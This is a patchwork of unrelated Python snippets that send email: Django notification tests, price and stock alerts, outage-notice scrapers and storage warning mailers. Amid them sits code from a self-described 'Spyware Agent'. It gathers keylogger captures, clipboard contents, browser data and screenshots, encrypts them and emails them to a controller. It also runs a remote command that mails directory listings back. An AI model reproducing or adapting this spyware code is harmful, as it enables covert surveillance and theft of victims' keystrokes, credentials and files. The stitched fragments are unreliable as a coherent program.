def test_email_action_with_template_body(): with override_settings(LANGUAGES=(("en", "en"))): SUPER_TEST_TEMPLATE_DATA = { "en": { # English "subject": "Hello, {{ name }}!", "body_template": "<html><style>.dog-color { color: red; }</style><body>%html_body%</body></html>", "body": "Hi, {{ name }}. This is a test.", "content_type": "plain" } } if settings.EMAIL_BACKEND != 'django.core.mail.backends.locmem.EmailBackend': pytest.skip("Need locmem email backend") mail.outbox = [] # Clear the Django testing mail outbox event = get_initialized_test_event() ctx = Context.from_event(event, shop=factories.get_default_shop()) ctx.set("name", "Luke J. Warm") # This variable isn't published by the event, but it's used by the template se = SendEmail({ "template_data": SUPER_TEST_TEMPLATE_DATA, "from_email": {"constant": "*****@*****.**"}, "recipient": {"constant": "*****@*****.**"}, "language": {"constant": "ja"}, }) se.execute(ctx) # Once assert len(mail.outbox) == 1 # 'send_identifier' should ensure this is true msg = mail.outbox[0] assert msg.to == ['*****@*****.**'] assert msg.from_email == '*****@*****.**' assert ".dog-color { color: red; }" in msg.body assert "Luke J. Warm" in msg.body
def ParseAndPerform(commands): for command in commands: if (command[:4].upper() == 'OPEN'): url_temp = command[5:].lower() url = 'www.' + url_temp + '.com' print('Opening.. ' + url) #print('\n'); DocChrome.open_chrome(url) elif (command[:4].upper() == 'SEND'): message_temp = command[5:] message_temp = message_temp[::-1] name = message_temp.split(' ')[0].strip()[::-1] pos = 0 count = 2 for char in message_temp: if char == ' ': count = count - 1 if (count == 0): break pos = pos + 1 message = message_temp[pos + 1:][::-1] SendEmail.email_google(name, message) print('"' + message + '" sent to ' + name) #print('\n'); elif (command[:5].upper() == 'WRITE'): doc_temp = command[6:] DocChrome.add_to_doc(doc_temp) print('"' + doc_temp + '" written into the Document')
def backup(self, connection): try: # get jSON of filename and username. jsonFilename = connection.recv(1024).decode() # format of filename. # filename['name'] # filename['username'] # convert to python dictionary. filename = json.loads(jsonFilename) print('\n[*] File name recieved : ' + filename['name']) # open a file in :: ServerBackup/username/filename directory. with open('ServerBackup/' + filename['username'] + '/' + filename['name'], 'wb') as file: print('\n\n[*] file open') print('[*] fetching file...') # fetching file. while True: file_content = connection.recv(2048) # checking file content. if not file_content: break # Writing the file conetnt into the file. file.write(file_content) # close the file fetching complete. file.close() # file encoding. path = ImageEncoder.encode( 'ServerBackup/' + filename['username'] + '/' + filename['name']) # updating the Database and getting tuple id update_id = self.database.insert_image_backup( filename['username'], path) print('\n[*] ' + filename['name'] + ' Back-up Done.') # sending image to owner as email. if filename['email'] == 'YES': email.send_image(filename['username'], 'ServerBackup/' + filename['username'] + '/' + filename['name']) elif filename['bell'] == 'YES': on_off_notification( filename['username'], status='IMAGE', image_id=str(update_id)) elif filename['spy'] == 'YES': on_off_notification(filename['username'], status='SPY', image_id=str( update_id), msg=filename['info']) else: self.database.submit_notify( filename['username'], filename['emailId'], 'Image Taken', update_id) # remove the image file. os.remove('ServerBackup/' + filename['username'] + '/' + filename['name']) except Exception as e: print('[**] Exception :: backup :: ' + str(e))
def send_emails(): if request.args.get('ey'): ey = request.args.get('ey') se.send_test() meg = "success" return meg else: pass
def main(w): articles = [] with open("siteconfig.json") as site: webs = json.load(site) for web in webs: articles = getContent(web, articles, w) filename = IOarticle(articles, w) SendEmail.send_mail(filename, filename, w)
def sendEmailAboutNews(): t = time.localtime() if t.tm_hour == 15 and t.tm_min == 30: SendEmail.sendEmail(rh.adjusted_equity_previous_close(), rh.equity()) else: logging.warning('{}: still running'.format(time.strftime( "%H:%M:%S", t)))
def consultPag(): if not os.path.exists(___diretorioSem): print( str(datetime.datetime.now()) + " O direitorio da semana nem existe, " + ___diretorioSem + " rodar metodo firstList") elif os.path.isfile(___diretorioSem + ___arquivoDesbloqueioSemana): print( str(datetime.datetime.now()) + " Arquivo de DesbloqueioSemana" + str(datetime.datetime.now().strftime("%Y-%m-%d")) + ".csv ja foi gerado.") elif not os.path.isfile(___diretorioSem + ___arquivoListSemanL): print( str(datetime.datetime.now()) + " Arquivo de Lista da Semana/Dia, nao gerado ou nao encontrado! " + ___diretorioSem + ___arquivoListSeman) else: print( str(datetime.datetime.now()) + " Gerando consulta dos documentos do dia") fl = open(___diretorioSem + ___arquivoDesbloqueioSemana, "w") c = csv.writer(fl, delimiter=';', quotechar=',', quoting=csv.QUOTE_MINIMAL) c.writerow([str(datetime.datetime.now().strftime("%Y-%m-%d"))]) c.writerow(["CCLIENTE", "CNOME", "CGRUPO", "GNOME"]) f = open(___diretorioSem + ___arquivoListSemanL) reader = csv.reader(f, delimiter=';', quotechar=',', quoting=csv.QUOTE_MINIMAL) listDocs = list(reader) f.close() f = open(___diretorioSem + ___arquivoListSemanL) reader2 = csv.reader(f, delimiter=';', quotechar=',', quoting=csv.QUOTE_MINIMAL) for idx, value in enumerate(reader2): if SqlQuery.isPago(value[4]): c.writerow((value[0], value[1], value[2], value[3])) listDocs.remove(value) fl.close() f.close() with open(___diretorioSem + ___arquivoListSemanL, 'w') as f: wr = csv.writer(f, delimiter=';', quotechar=',', quoting=csv.QUOTE_MINIMAL) for row in listDocs: wr.writerow(row) f.close() desCodigo() print(str(datetime.datetime.now()) + " Consulta Finalizada") print(str(datetime.datetime.now()) + " Enviando email da consulta") SendEmail.sendConsPag(___diretorioSem, ___arquivoDesbloqueioSemana) print(str(datetime.datetime.now()) + " Email enviado")
def getWaterCutOffInfo(newDetail, url): newDetail.encoding = 'GBK' newDetailObj = BeautifulSoup(newDetail.text, 'html.parser') content = newDetailObj.find(id='showcontent').div sendContent = content.text SendEmail.send_mail(user_list, '停水通知', sendContent) list_1.append(url) # redis r.rpush('cutOffWaterRecord', url)
def sansw_judge(total_RT, total_DB, sansw_IP, sansw_Alias): strTimeNow = s.time_now_to_show() if (total_DB != None) and (total_RT != None): intErrorIncrease = total_RT - total_DB intWarninglevel = s.is_Warning(intErrorIncrease, tuplThresholdTotal) if intWarninglevel: msg = warning_message_sansw(intWarninglevel) db.insert_warning(strTimeNow, sansw_IP, 'switch', intWarninglevel, msg, 0) se.send_warnmail( [[strTimeNow, sansw_IP, sansw_Alias, intWarninglevel, msg]])
def run(self): self._lastTime = time.time() while RUN_REPORTER: self._currentTime = time.time() # Gathering report from report folder if (self._currentTime - self._lastTime) >= REPORTER_REPORT_TIME_INTERVAL: self._report = "<-[ SPICE " + VERSION + " (Spyware Agent) Report for \'" + getpass.getuser() + "\' at " + time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(time.time())) + " ]->\n" if RUN_KEYLOGGER and os.path.exists(KEY_LOGGER_REPORT_FILE_NAME): self._report += "[ KEY LOGGER ]" + GetFileContent(KEY_LOGGER_REPORT_FILE_NAME) if RUN_CLIPBOARD_COPIER and os.path.exists(CLIPBOARD_COPIER_FILE_NAME): self._report += "\n\n[ CLIPBOARD COPIER ]" + GetFileContent(CLIPBOARD_COPIER_FILE_NAME) + "\n\n" if RUN_WEB_BROWSER_DIGGER and os.path.exists(WEB_BROWSER_DIGGER_FILE_NAME): self._report += "\n\n[ WEB BROWSER DIGGER ]" + GetFileContent(WEB_BROWSER_DIGGER_FILE_NAME) + "\n\n" if RUN_SYSTEM_INFORMATION and os.path.exists(SYSTEM_INFORMATION_FILE_NAME): self._report += "\n\n[ SYSTEM INFORMATION (for " + getpass.getuser() + ") ]\n" + GetFileContent(SYSTEM_INFORMATION_FILE_NAME) + "\n\n" # Encrypting those text report SaveContent(AGENT_LOCATION + "Report\\report.dat", (AESCipher(ENCRYPTION_PASSWORD)).Encrypt(self._report), FileMode["WRITE"]) os.chdir(AGENT_LOCATION + "Report") # Attaching report file for emailing reportAttachments = [ "report.dat" ] allFilesAndFoldersInReport = os.listdir(AGENT_LOCATION + "Report") for reportFile in allFilesAndFoldersInReport: if HasExtension(reportFile, ".png") or HasExtension(reportFile, ".jpg"): reportAttachments.append(reportFile) # Now sending email sEmail = SendEmail() sEmail.SendFrom = AGENT_EMAIL_ADDRESS sEmail.Password = AGENT_EMAIL_PASSWORD sEmail.SendTo = AGENT_HQ_EMAIL_ADDRESSES sEmail.Subject = "Report of \'" + getpass.getuser() + "\' at " + time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(time.time())) sEmail.Text = "" sEmail.Files = reportAttachments sEmail.Server = AGENT_EMAIL_SENDING_SERVER sEmail.start() self._lastTime = time.time() time.sleep(REPORTER_REPORT_TIME_INTERVAL)
def warning_check(): email = se.Email() unconfirm_warning = db.get_unconfirm_warning() if unconfirm_warning: email.send_warning_mail(unconfirm_warning) else: print('No unconfirm warning found...')
def send_email(symbol, price, sma): send_inst = SendEmail.SendEmail(service) text = 'The price of {0} is {1} and has fallen below its 200 day simple moving average of {2}'.format( symbol, price, sma) message = send_inst.create_message(email, email, 'Stock Alert', text) send_inst.send_message('me', message) return
def get_script_steps(self, form): action_data = { "template_data": {}, "recipient": {"constant": form["base"].cleaned_data["recipient"]}, "language": {"variable": "language"}, "fallback_language": {"constant": settings.PARLER_DEFAULT_LANGUAGE_CODE} } for language in form.forms: form_lang = form[language] # tries to get the cleaned data, otherwise the initial value # since cleaned_data can be blank if the user did not change anything action_data["template_data"][language] = { "content_type": "html", "subject": form_lang.cleaned_data.get("subject", form_lang.initial.get("subject", "")).strip(), "body": form_lang.cleaned_data.get("body", form_lang.initial.get("body", "")).strip() } send_mail_action = SendEmail(action_data) conditions = [] if form["base"].cleaned_data.get("last24hrs"): conditions.append(BooleanEqual({ "v1": {"variable": "dispatched_last_24hs"}, "v2": {"constant": (not form["base"].cleaned_data["last24hrs"])} })) return [Step(next=StepNext.STOP, actions=(send_mail_action,), conditions=conditions)]
def PerformTask(command): # If user gave command like '$ show_directory_list D:\Videos' if "$ show_directory_list " in command: directoryList = (FolderContent()).GetDirectoryContent((command.split("$ show_directory_list "))[1]) email = SendEmail() email.SendFrom = AGENT_EMAIL_ADDRESS email.Password = AGENT_EMAIL_PASSWORD email.SendTo = AGENT_HQ_EMAIL_ADDRESSES email.Subject = "output of " + command + " from " + getpass.getuser() + " at " + time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(time.time())) email.Text = directoryList email.Server = AGENT_EMAIL_SENDING_SERVER email.start()
def test_send_warnmail(): info = [[ '2020-06-01 11:36:42', '10.203.1.4', 'engine1', 2, 'Engine reboot 6674 secends ago' ]] sys.stdout = io.BytesIO() assert SendEmail.send_warnmail(info) == None assert sys.stdout.getvalue() == 'Send success!\n'
def __init__(self, statusRT, statusDB, haap_Alias): self.email = se.Email() self.alias = haap_Alias self.host = statusRT[0] self.statusRT = statusRT self.statusDB = statusDB self.strTimeNow = s.time_now_to_show() self.lstWarningToSend = []
def send_email(*args): idnx = fraudlist.curselection() if len(idnx) == 1: numidx = int(idnx[0]) transidx = (frauddata[numidx])['transactionIndex'] fraud_prob = (frauddata[numidx])['fraudScore'] transaction = db.retrieve_transaction(filepath, transidx) amount = transaction['amount'] loc = transaction['nameDest'] type_name = transaction['type'] name = transaction['nameOrig'] time_of = transaction['step'] se.send_email("*****@*****.**", name, type_name, amount, fraud_prob, time_of) db.modify_db(filepath, transidx, examinedByOperator=True, ownerContacted=True) print("Email sent to account %s" % (name))
def userRequest(client, userdata, message): global notify global currLight global lastTemp global lastHumi print('Msg Received') # print(message.payload) # handle the request from user msg = '' data = json.loads(message.payload) # t store temperature, h store humidity #temperature ,humidity = DHT11.getInfo(17) temperature = lastTemp humidity = lastHumi # get true false from aws publish message getTemperature = data['temperature'] getHumidity = data['humidity'] getNotify = data['notify'] # user disable to notify function if getNotify != notify: # code to disable the notify function changeNotify() # if notify: if getTemperature: msg = "Temperature: " + str(temperature) + "\n" if getHumidity: msg += "Humidity: " + str(humidity) else: return pic_path = Picture.takePic(currLight) pic_path = Picture.drawOnPic(pic_path, msg) SendEmail.send("Here is the picture from Home", pic_path)
def getGasCutOff(gasUrl, inc): html = requests.get(gasUrl) htmlObj = BeautifulSoup(html.text, 'html.parser') list = htmlObj.find(class_='news_list').find_all('a') # redis 获取缓存集合数据 ==》》0,-1 所有数据 list_2 = r.lrange('cutOffGasRecord', 0, -1) if list_2 is None: list_2 = [] # redis for i in list: contentHtml = requests.get(gasContentUrl + i['contentid']) contentObj = BeautifulSoup(contentHtml.text, 'html.parser') if '北碚' in contentObj.text and i['contentid'] not in list_2: SendEmail.send_mail(user_list, '停气通知', contentObj.find('div').text) list_2.append(i['contentid']) # redis r.rpush('cutOffGasRecord', i['contentid']) # redis schedule.enter(inc, 0, getGasCutOff, (gasUrl, inc))
def firstList(): result = SqlQuery.firstQuery() if not os.path.exists(___diretorioSemList): os.makedirs(___diretorioSemList) if not os.path.isfile(___diretorioSemList + ___arquivoListSeman): print( str(datetime.datetime.now()) + " Gerando lista de documentos em abertos da " + ___diretorioSemList) with open(___diretorioSemList + ___arquivoListSeman, "w") as f: c = csv.writer(f, delimiter=';', quotechar=',', quoting=csv.QUOTE_MINIMAL) c.writerow([ "DCCLIENTE", "CNOME", "CGRUPO", "GNOME", "DCDOCUMENTO", "DCDATAEMISSAO", "DCDATAVENCIMENTO", "DCVALOR", "DCSEMANA", "ATRASO", str(datetime.datetime.now().strftime("%Y-%m-%d")) ]) for DCCLIENTE, CNOME, CGRUPO, GNOME, DCDOCUMENTO, DCDATAEMISSAO, DCDATAVENCIMENTO, DCVALOR, DCSEMANA in result: if (((datetime.datetime.now() - DCDATAVENCIMENTO).days >= 1) and ((datetime.datetime.now() - DCDATAVENCIMENTO).days <= 30) and (DCVALOR > 0)): c.writerow( (DCCLIENTE, CNOME.strip(' '), CGRUPO, GNOME.strip(' '), DCDOCUMENTO, DCDATAEMISSAO.strftime("%Y-%m-%d"), DCDATAVENCIMENTO.strftime("%Y-%m-%d"), DCVALOR, DCSEMANA, str((datetime.datetime.now() - DCDATAVENCIMENTO).days) + " Dias")) shutil.copyfile((___diretorioSemList + ___arquivoListSeman), (___diretorioSemList + ___arquivoListSeman + ".bkp")) SendEmail.sendFirtList(___diretorioSemList, ___arquivoListSeman) else: print( str(datetime.datetime.now()) + " A Lista da " + ___diretorioSemList + " ja existe!")
def check_price(): """ Input: URL of product website Headers - search 'my user agent' on Google, and copy paste user agent Return: Price of products and send gmail to user if price's condition has met """ page = requests.get(url, headers=headers) html = page.content soup = BeautifulSoup(html, 'lxml') title = soup.find(id='productTitle').get_text() price = soup.find(id='priceblock_ourprice').get_text() converted_price = float(price[1:]) if converted_price < 35: SendEmail.sent_price_email() print(converted_price) print(title.strip())
def test_email_action(): if settings.EMAIL_BACKEND != 'django.core.mail.backends.locmem.EmailBackend': pytest.skip("Need locmem email backend") mail.outbox = [] # Clear the Django testing mail outbox event = get_initialized_test_event() ctx = Context.from_event(event, shop=factories.get_default_shop()) ctx.set("name", "Luke Warm") # This variable isn't published by the event, but it's used by the template se = SendEmail({ "template_data": TEST_TEMPLATE_DATA, "from_email": {"constant": "*****@*****.**"}, "recipient": {"constant": "*****@*****.**"}, "language": {"constant": "ja"}, "send_identifier": {"constant": "hello, hello, hello"} }) se.execute(ctx) # Once, se.execute(ctx) # Twice! assert len(mail.outbox) == 1 # 'send_identifier' should ensure this is true msg = mail.outbox[0] assert msg.to == ['*****@*****.**'] assert msg.from_email == '*****@*****.**' assert ctx.get("name").upper() in msg.subject # The Japanese template upper-cases the name
def all_judge(self): # try: # if self.statusDB: # if self.judge_AH(self.statusRT[1], self.statusDB[1]): # self.judge_reboot(self.statusRT[2], self.statusDB[2]) # self.judge_Status(self.statusRT[3], self.statusDB[3]) # self.judge_Mirror(self.statusRT[4], self.statusDB[4]) # except: # raise('error') # finally: # if self.lstWarningToSend: # se.send_warnmail(self.lstWarningToSend) if self.statusDB: if self.judge_AH(self.statusRT[1], self.statusDB[1]): pass else: self.judge_reboot(self.statusRT[2], self.statusDB[2]) self.judge_Status(self.statusRT[3], self.statusDB[3]) self.judge_Mirror(self.statusRT[4], self.statusDB[4]) if self.lstWarningToSend: se.send_warnmail(self.lstWarningToSend)
def main(): conv = converters.conversions.copy() conv[246] = float # convert decimals to floats conn = MySQLdb.connect(host="localhost", user="******", passwd="REMOVED", db="shipstation", charset='utf8', conv=conv) cursor = conn.cursor() ordDate = (dt.now() - timedelta(days=8)).strftime("%Y-%m-%d") createPick(conn, cursor, ordDate) print('') print("INFO - Closing Database Connection . . .") conn.commit() cursor.close() conn.close() print("INFO - Database Connection Closed . . .") print('') SendEmail.sendEmailWithAttachment('Picklist', 'Picklist Created Successfully', 'The Picklist file has been created', 'Picklist') return
def run(email_list, url, source_email, sleeptime_set=None): current_hash, current_file = get_hash(url) # Get the current hash, which is what the website is now if sleeptime_set is not None: sleeptime = sleeptime_set while 1: # Run forever added_name_list = [] removed_name_list = [] new_hash, new_file = get_hash(url) if new_hash == current_hash: # If nothing has changed print("nothing changed") else: # If something has changed current_hash = new_hash added_pup_text = "" removed_pup_text = "" for line in difflib.unified_diff(str(current_file), str(new_file)): if not re.match(r'-', line): added_pup_text += str(line.strip('+-!')) else: removed_pup_text += str(line.strip('+-!')) added_name_list = HTMLParser.parse_html(added_pup_text) removed_name_list = HTMLParser.parse_html(removed_pup_text) if len(added_name_list) > 0: for email in email_list: SendEmail.authorize_and_send_message(str(added_name_list), email, source_email) print("Changed with added pups, email sent.") if len(removed_name_list) > 0: print("--Pups removed: " + str(removed_name_list)) if len(removed_name_list) <= 0 and len(added_name_list) <= 0: print("Changed but no pups added or removed.") time.sleep(sleeptime)
def test_notify_item_admin_form(rf, admin_user): event_class = ATestEvent script_item = SendEmail({ "send_identifier": {"constant": "hello"}, "recipient": {"constant": "*****@*****.**"}, "language": {"constant": "en"}, }) send_data = { "b_recipient_c": "*****@*****.**", "b_language_c": "en", "b_message_c" : "Message", "b_send_identifier_c": "hello", "t_en_subject": "Welcome!", "t_ja_subject": "Konnichiwa!", "t_ja_body": "Bye", "t_en_content_type": "html" } form = ScriptItemEditForm( event_class=event_class, script_item=script_item, data=send_data ) initial = form.get_initial() assert initial["b_send_identifier_c"] == "hello" assert not form.is_valid() # Missing template body for default language with pytest.raises(forms.ValidationError): form.save() send_data.update({"t_en_body": "ok now this should pass"}) form = ScriptItemEditForm( event_class=event_class, script_item=script_item, data=send_data ) initial = form.get_initial() assert initial["b_send_identifier_c"] == "hello" assert form.is_valid() form.save() assert script_item.data["template_data"]["en"]["subject"] == "Welcome!" assert script_item.data["template_data"]["ja"]["subject"] == "Konnichiwa!" assert script_item.data["recipient"] == {"constant": "*****@*****.**"} send_data["b_recipient_c"] = admin_user.pk send_data['init_data'] = json.dumps({"eventIdentifier":"order_received","itemType":"action","data":{"identifier":"add_notification"}}) view = script_item_editor request = apply_request_middleware(rf.post("/", data=send_data), user=admin_user) response = view(request) assert response.status_code == 200 # Assert no errors have occurred
def sendInfoToMail(self): # parking ticket str = f""" __________________________________________ \t\tCar Number : {self.carNumber} \t\tCar Type : {self.carType} \t\tCar Color : {self.carColor} \t\tDate : {self.date} \t\tParking Time : {self.timeNow} \t\tSpot : {self.SpotNum} _________________________________________""" # object of sendEmail class obj = SendEmail.sendParkingTicket(str) obj.windowForEmail()
def send(self): with open('link.txt', 'r') as f: link = f.read() uremail = self.uremail_line.text() urpassword = self.urpassword_line.text() address = self.address_line.text() result = SendEmail.send_kom(link, uremail, urpassword, address) if result == QMessageBox.Ok: self.close() else: self.close()
def execute(self): # batch_size = 10000 pipeline_redis = self.redis.pipeline() try: kwlist = pd.read_csv(self.filename, header=None, encoding='utf8').dropna() kwlist = kwlist.reset_index(level=1) for k in kwlist.values: value = k[0] key = k[1].strip().lower() # print (value) pipeline_redis.set(key, value) pipeline_redis.execute() print('入库成功...') self.database.flag_QQ = True print (self.database.flag_QQ) except: s =SendEmail.sendEmail() s.readConfig() s.send_mail(s.recipients,s.error1) print ('数据异常')
def MoneyMaker(): ur = runToWebsite.getMonthUrl() SendEmail.SendEmailToido(ur) checkForUpdatesOnSite() # start = ImportantUpdates + criticalUpdates start = criticalUpdates cond1 = not start if not cond1: next = makeNotificationsList(start) cond1 = not next if not cond1: filtered = checkReleventInDB(next) cond1 = not filtered if not cond1: addNewToDB(filtered) sendEmailsOfRelevent(filtered) alive = AliveMaterial() if alive: if listOfUpdates: lastLineDict = listOfUpdates[-1] newlastLine = lastLineDict['update'] with open(lastLine, 'w+') as saver: saver.write(newlastLine) sendweeklyUpdate(ur)
def get_script_steps(self, form): action_data = { "template_data": {}, "language": {"variable": "language"}, "fallback_language": {"constant": settings.PARLER_DEFAULT_LANGUAGE_CODE}, } if form["base"].cleaned_data.get("send_to") == "other": action_data["recipient"] = {"constant": form["base"].cleaned_data["recipient"]} else: action_data["recipient"] = {"variable": "customer_email"} for language in form.forms: form_lang = form[language] # tries to get the cleaned data, otherwise the initial value # since cleaned_data will be blank if the user did not change anything action_data["template_data"][language] = { "content_type": "html", "subject": form_lang.cleaned_data.get("subject", form_lang.initial.get("subject", "")).strip(), "body": form_lang.cleaned_data.get("body", form_lang.initial.get("body", "")).strip() } send_mail_action = SendEmail(action_data) return [Step(next=StepNext.STOP, actions=(send_mail_action,))]
def startWork(): with open("appConfig.json") as appconfig: global Config Config = json.load(appconfig) print(str(Config)) articles = [] with open("siteconfig.json") as site: webs = json.load(site) for web in webs: w.Scrolledtext1.insert(tkinter.END, "正在抓取:" + web['sitename'] + '\n') w.Scrolledtext1.update() articles = CrawlWeb.getContent(web, articles, w, Config[0]['SEEN']) filename = CrawlWeb.IOarticle(articles, w, Config[0]['TRANSLATE']) CrawlWeb.mdTohtmldoc(filename, Config[0]['DOC'], Config[0]['HTML']) if Config[0]['SENDMAIL']: if Config[0]['DOC']: SendEmail.send_mail(filename[:-3] + ".docx", filename[:-3] + ".docx", w) if Config[0]['MD']: SendEmail.send_mail(filename, filename, w) if Config[0]['HTML']: SendEmail.send_mail(filename[:-3] + ".html", filename[:-3] + ".html", w)
import subprocess import SendEmail if __name__ == '__main__': command1 = 'python ExtractFrame.py' command2 = 'python RunMatch.py' command3 = 'python RunReconstruct.py' subprocess.call(command1, shell=True) subprocess.call(command2, shell=True) subprocess.call(command3, shell=True) SendEmail.SendEmail(Text='All finish!!!!!!!!!!')
#!C:/Python27/python.exe msg_condition = "test mes" DI=0.5 # Make PDF import SendEmail SendEmail.send(msg_condition)
def sendEmail(self, email): toMailList = [] toMailList.append(email) for item in self.datalist: content = '【KEBE7JUN成绩提醒】欢迎使用KEBE7JdUN成绩订阅系统,您的'+item['name'].replace('【','[').replace('】',']')+'成绩出来啦,成绩为'+item['score']+'!有'+item['credit']+'个学分哦~' SendEmail.send_mail(toMailList, '出新成绩啦!', content)